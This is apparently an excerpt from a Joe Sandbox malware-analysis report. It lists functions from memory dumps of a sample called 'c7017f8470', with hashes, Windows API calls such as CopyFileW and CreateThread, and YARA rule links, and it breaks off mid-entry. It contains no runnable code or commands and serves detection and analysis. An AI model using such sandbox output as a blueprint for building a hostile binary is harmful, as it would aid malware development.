Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction ID: 5a7d6a52498181c9cf4f87941996139a214d8b31775e9e11dc627d5a44ad725e
Opcode Fuzzy Hash: 71e2b72de9db90adf160ba091cc0f4e0f3ea60225d0eeabf88c335e2ed5b0d7e
Instruction Fuzzy Hash: 73A143B46047418FD724CF29C8D1B63B7E2AB5A304F14892ED59A87792D338E886CB58

Function 0043DFB0 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction ID: 9eaef7f6449a926bdd011e6bf6c7dc343cb48eef6fbbacc1f9e318c96c7b604e
Opcode Fuzzy Hash: b7535c463ae1e5bcf3702ce14ffd2b5f638eb3eed67e07491a9c0359b24ec7dd
Instruction Fuzzy Hash: 6891DF356053118BC718DF1AC890A2BB3F6EF9D710F19996DE8858B391E734EC01CB86

Function 0043DCF0 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction ID: 42590aa1c4a3029240d7faad05c1566b36b776a36cf424c854185cc8c2ee326e
Opcode Fuzzy Hash: 7e2f85c664c8434edd563ad3eec3cf26f3dbdf93c28ccb518c6c18397a03e6ac
Instruction Fuzzy Hash: 58717A31A043014BC714AF29E890A3FB7A6EFDD750F1AD43EE4868B365DB349C11878A

Function 00428F5D Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction ID: 0033b059549c864885c35c4736f174911fb7ab2e2a7e13fdb612373215023671
Opcode Fuzzy Hash: 485f9e8018368faea3edae90e71b0f5b01441832ec9af48811220032a096e4bd
Instruction Fuzzy Hash: 939168B2A083558FC714CF25945226FF7A2AFD1304F98892EE4E687382D639DD05CB4A

Function 0041CEA5 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction ID: 79a636d4ef35a115cd61f203c964b336e8654c9833e22f85933b964d871e8aad
Opcode Fuzzy Hash: 7d03f9876956ffac6f74f0866a7bde9a035be760a6bedc0074a97e3c21121794
Instruction Fuzzy Hash: 824113B455835287CB209F289C413BBF3F1AFA2358F59455EE8C597380E738D992C36A

Function 00427307 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction ID: cd3817f91458a04e6f4698fbdec964a5fe2b941d70aabd782eb82a79c60357af
Opcode Fuzzy Hash: 4c7e07812f1b8347d7007c075ffe03fcbbfb4954c80059fd09941d44e601273e
Instruction Fuzzy Hash: 4751EBB060C3208AC720DF60E49132BB7F0EFA2344F40492DD9D64B761EB799908DB9B

Function 004292D0 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction ID: 8a214a05a26fc8f928125f8fb48cb90f3e515442b7647201508495c5dbe42c78
Opcode Fuzzy Hash: 54105d90293e4b8a7fe8cebbefda0a172f6c9cbfe66afa0c85e262d0473a1c3c
Instruction Fuzzy Hash: DA4127B2B193504BD71CCF258CA275FFBA2EBC5308F16883DE5869B284CA7494078B45

Function 00436B20 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction ID: 504e49b0b2ddc2a099550f91d12c5185d5b4ceea0bdb26274afb8cde00bc0dbb
Opcode Fuzzy Hash: 91220374a97f5aff33aa7e71888e41c88829f78e25f822e198eb2ef461918297
Instruction Fuzzy Hash: B5314632A083385B83249E5D8982067F7E8EBCD714F1AE12FD884E7311E574ED0147C5

Function 0041597D Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction ID: d5ab4806ffe72a1369b891b0c03ce99b48dccca7df38fd9f7e726c1ee5c76a78
Opcode Fuzzy Hash: 73dc7dffa9da4718634bc1df2c87a66b7a70c35b3b00ffd698cd8eaa02142161
Instruction Fuzzy Hash: 250124347A0A01DBE7258B15A891BB37293FB82310FA49029E18293281DB69AC91875D

Function 004345F0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: fc3937f92bddd9b9036211213233e27d23e83f380f16c5f831fb688d5273015d
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 8E11EC336051D40EC3158D3C84005A5BF930AD7234F59939AF4B4972E6D62A9D8B8359

Function 0042A060 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction ID: 81ebb7552e56e7d5adf40a514b1d7c04d719dbb311c9cbdb1d4034df3b6f2776
Opcode Fuzzy Hash: a62376ffa6d90c1baa96e3dbf302ab3dfe7742f197fede568b4cb05d9ce342f2
Instruction Fuzzy Hash: D601D4F5B00B1147D7309E11A5C0B27B2A9AF8070CF59443EED4467342DB7EEC28C69A

Function 00402B70 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction ID: dad6f7438d27f99e102fe50886f5565f1d4720bfb2582f27d129ae765fd9d515
Opcode Fuzzy Hash: dabecf6e6ddfb1cdd8269c5c9ebdc2cc04a1f760bd0808b9cf36547e64e5e14a
Instruction Fuzzy Hash: EEF0E937B1551607A214DD26ACC453BB366D7C6314B295439E841E3281C979F80692B8

Function 0042B475 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction ID: c74ae76d4aeefb6f888da0d67bba939e79ddb671e6929748130615be24dd088f
Opcode Fuzzy Hash: 676c11319c11e30e550c5dd480f93aa2d5812f95884204bdcd3370e1ab4f8030
Instruction Fuzzy Hash: E6D022789048005BC608EB10EE12639B2688F4B2AEF00303DE443FF353CE38EC60890E

Function 0040C274 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction ID: 52fe0259059b82c7cb9fb3d0f913ef24527c2e8030ec2916e1bb67edfa7a0227
Opcode Fuzzy Hash: 32957ae45f5fb5a31ef22e0da77331464b0a71ff3474b199ef627a84159dc668
Instruction Fuzzy Hash: 01D0122494A2994AD3068F389CA1731BBB1EF03100F442558D142DB291C7D09016865C

Function 00A21D30 Relevance: 18.2, APIs: 12, Instructions: 176threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A21D63
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00A21D76

Part of subcall function 00A2234A: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00A22E92
Part of subcall function 00A2234A: ___raise_securityfailure.LIBCMT ref: 00A22F7A

GetCurrentThreadId.KERNEL32 ref: 00A21DFA

Part of subcall function 00A22E15: WaitForSingleObjectEx.KERNEL32(00A217D0,000000FF,00000000,?,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E21
Part of subcall function 00A22E15: GetExitCodeThread.KERNEL32(00A217D0,00000000,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E3A
Part of subcall function 00A22E15: CloseHandle.KERNEL32(00A217D0,?,?,00A21E17,?,00A217D0,00000000), ref: 00A22E4C

Part of subcall function 00A26F9F: CreateThread.KERNEL32(00000000,00000000,00A270B7,00000000,00000000,00000000), ref: 00A26FE8
Part of subcall function 00A26F9F: GetLastError.KERNEL32(?,?,?,?,00A21DD3,00000000,00000000), ref: 00A26FF4
Part of subcall function 00A26F9F: __dosmaperr.LIBCMT ref: 00A26FFB

GetCurrentThreadId.KERNEL32 ref: 00A21E95
std::_Throw_Cpp_error.LIBCPMT ref: 00A21EED
std::_Throw_Cpp_error.LIBCPMT ref: 00A21EFF
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F0E
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F1D
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F2C
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F3E
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F50
std::_Throw_Cpp_error.LIBCPMT ref: 00A21F62

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CurrentHandleModule$CloseCodeCreateErrorExitFeatureFileLastNameObjectPresentProcessorSingleWait___raise_securityfailure__dosmaperr
String ID:
API String ID: 610485761-0
Opcode ID: a77f19999641944d75c99ad5bd70e807e68770c6b6eb91691845c24f1ca897d9
Instruction ID: d73ba3ec31c2b39326fc19005b7a96b340742199d9dbbd272171ff1404e28372
Opcode Fuzzy Hash: a77f19999641944d75c99ad5bd70e807e68770c6b6eb91691845c24f1ca897d9
Instruction Fuzzy Hash: 1251A5B1D41229ABEB10DFA8ED06BDEBAB0AF15710F041278F914772C1E7B56904CBA5

Function 00A33FDE Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00A33FC9,?,?,?,?,?,?,?,?,?), ref: 00A34084
__alloca_probe_16.LIBCMT ref: 00A3413F
__alloca_probe_16.LIBCMT ref: 00A341CE
__freea.LIBCMT ref: 00A34219
__freea.LIBCMT ref: 00A3421F
__freea.LIBCMT ref: 00A34255
__freea.LIBCMT ref: 00A3425B
__freea.LIBCMT ref: 00A3426B

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: b58b6f615cda8e0779f0c072c7be3691491a0b392b457f078ec86154b661d50c
Instruction ID: b8f6d5ea0064a6bf6f04175c697abd68d2b3979aec6cf2113f7616e417a375a4
Opcode Fuzzy Hash: b58b6f615cda8e0779f0c072c7be3691491a0b392b457f078ec86154b661d50c
Instruction Fuzzy Hash: 2171D272A04215ABDF249FE49D41BEF7BB9AF5E310F290159F904B7281D779AC4087A0

Function 00A2C28B Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00A2C311

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction ID: d16dd2a10b6ed7b356915fd18c8385ea990e2a94de48638e37a344c62b3ddce7
Opcode Fuzzy Hash: 6f50279ee7fba881e46e44fc6ac24256dd30adf8a6b45f72db007344eb616516
Instruction Fuzzy Hash: CCB13372A00275AFDB15CF6CDC81BBEBBA5EF55360F148176E904AF282D674E901C7A0

Function 00A24650 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00A24687
___except_validate_context_record.LIBVCRUNTIME ref: 00A2468F
_ValidateLocalCookies.LIBCMT ref: 00A24718
__IsNonwritableInCurrentImage.LIBCMT ref: 00A24743
_ValidateLocalCookies.LIBCMT ref: 00A24798

Strings

csm, xrefs: 00A2472D

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 41f7a82b0bfe7cd3ddcf3cd6ae4fafbd3acfc5f58ab720df1a6d0b74b640b035
Instruction ID: 338fba5fa8f0a42eaa760da0f9587771237ec8fa16d9c116213a6e993c39c3fd
Opcode Fuzzy Hash: 41f7a82b0bfe7cd3ddcf3cd6ae4fafbd3acfc5f58ab720df1a6d0b74b640b035
Instruction Fuzzy Hash: 5041A534E00228ABCF10DF6CE885A9EBBB5FF4A314F148475F8256B392D731A911CB90

Function 00A29BBE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00A29CCD,00A220CA,?,00000000,00A22CB3,00A220CC,?,00A299D6,00000022,FlsSetValue,00A36F54,00A36F5C,00A22CB3), ref: 00A29C7F

Strings

ext-ms-, xrefs: 00A29C29
api-ms-, xrefs: 00A29C15

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 596109364d5fa27af61b0795f91fd0d67bf8b034e1ac2220f63c8c745e83a7f8
Instruction ID: b50bb7ec0621e775007129bb736e5f9b94e97a7bc021b1cb3c1722b9883f1877
Opcode Fuzzy Hash: 596109364d5fa27af61b0795f91fd0d67bf8b034e1ac2220f63c8c745e83a7f8
Instruction Fuzzy Hash: 0421E732A40234AFD721DB68FC41A5B37A9AB41BB1F240130F906B7290D730ED01C6D0

Function 00A23269 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00A2326F
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00A2327D
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00A2328E

Strings

GetSystemTimePreciseAsFileTime, xrefs: 00A23277
kernel32.dll, xrefs: 00A2326A
GetTempPath2W, xrefs: 00A23283

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: 67c66fcbbe11dde9553d1b9292fa4ea20c7521d86dc4e94344d7735aa57044ce
Instruction ID: 90c98764b9113bb902266858b00aff70f72c4707e8efeae0bd3d1b9dbc3afd59
Opcode Fuzzy Hash: 67c66fcbbe11dde9553d1b9292fa4ea20c7521d86dc4e94344d7735aa57044ce
Instruction Fuzzy Hash: 7DD0C7759913607FC700EFF07C0E9863F94FA057217015521F505F2260EB7009138F95

Function 00A28639 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00A28630,00A2443B,00A23B4A), ref: 00A28647
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00A28655
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A2866E
SetLastError.KERNEL32(00000000,00A28630,00A2443B,00A23B4A), ref: 00A286C0

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1f3ff83f5ffb48a2643466186f09bc53c48ff98f7821af06fcb4c860d3712020
Instruction ID: a15443bca4eeeeae0b529def4acbe0341344878ad7305f147102be777b1f5004
Opcode Fuzzy Hash: 1f3ff83f5ffb48a2643466186f09bc53c48ff98f7821af06fcb4c860d3712020
Instruction Fuzzy Hash: DB01D63220B3326FEA25A7FCBDC5A6F2B95EB017797200339F524A51F1EF594C429294

Function 00A28EC9 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A28FE8
CallUnexpected.LIBVCRUNTIME ref: 00A29261

Strings

csm, xrefs: 00A2901F
csm, xrefs: 00A28F06
csm, xrefs: 00A28F73

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: dc3bb398ab4837315bd89775aded7d029c41a2f8377d85d9c16ba63c2396133c
Instruction ID: 046f829e71d10e151ea1a8256fae805123131c24112ebfaa271b4e78e419ade9
Opcode Fuzzy Hash: dc3bb398ab4837315bd89775aded7d029c41a2f8377d85d9c16ba63c2396133c
Instruction Fuzzy Hash: 7BB1783180122AEFCF18DFA9EA859AFB7B5FF18700F104169F8156B202D735DA61CB91

Function 00427546 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 00427607

Strings

OR, xrefs: 0042758A
<vB, xrefs: 00427636
JC, xrefs: 00427592
B\, xrefs: 0042759A

Memory Dump Source

Source File: 00000009.00000002.2491062147.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_c7017f8470.jbxd

Similarity

API ID: CopyFile
String ID: <vB$B\$JC$OR
API String ID: 1304948518-1094185596
Opcode ID: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction ID: 8ef9865115e3bd1ef4dc2c2120f56385b28599b8e62f1996c0c1473ca8bdbd32
Opcode Fuzzy Hash: 534c61a23f16c94dd70e9183f09d5d618cb95d249a0f73e85ffe0a6b27bbc1d3
Instruction Fuzzy Hash: 802180B964D340DFD3209F61A84671BBBF4FB86304F40582CE1D587291EB788515DB4A

Function 00A2720B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00A35CA3,000000FF,?,00A272CC,00A271B3,?,00A27368,00000000), ref: 00A27240
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00A27252
FreeLibrary.KERNEL32(00000000,?,?,00000000,00A35CA3,000000FF,?,00A272CC,00A271B3,?,00A27368,00000000), ref: 00A27274

Strings

mscoree.dll, xrefs: 00A27239
CorExitProcess, xrefs: 00A2724A

Memory Dump Source

Source File: 00000009.00000002.2491342325.0000000000A21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000009.00000002.2491311728.0000000000A20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491379736.0000000000A36000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491415382.0000000000A3E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491450664.0000000000A41000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000009.00000002.2491492107.0000000000A43000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_a20000_c7017f8470.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 10601b47e054c220ef618301951cf7ce72fe2478d5fa9752505bbbf20428fc54
Instruction ID: 51d9a7aa103e606525fb6217a32db5e78722b3e811e104809f66d8478a8979da
Opcode Fuzzy Hash: 10601b47e054c220ef618301951cf7ce72fe2478d5fa9752505bbbf20428fc54
Instruction Fuzzy Hash: 8F016771954665EFDB11CF94DC09FAEBBB8FB44B25F004925F811A26D0DB749901CB90

Function 00A2F1A5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00A2F22A
__alloca_probe_16.LIBCMT ref: 00A2F2F3
__freea.LIBCMT ref: 00A2F35A

Part of subcall function 00A2B8D6: HeapAlloc.KERNEL32(00000000,00A22CB3,00A220CA,?,00A24545,00A220CC,00A220CA,?,?,?,00A223F8,00A22CB3,00A220CE,00A220CA,00A220CA,00A220CA), ref: 00A2B908

__freea.LIBCMT ref: 00A2F36D
__freea.LIBCMT ref: 00A2F37A

Memory Dump Source

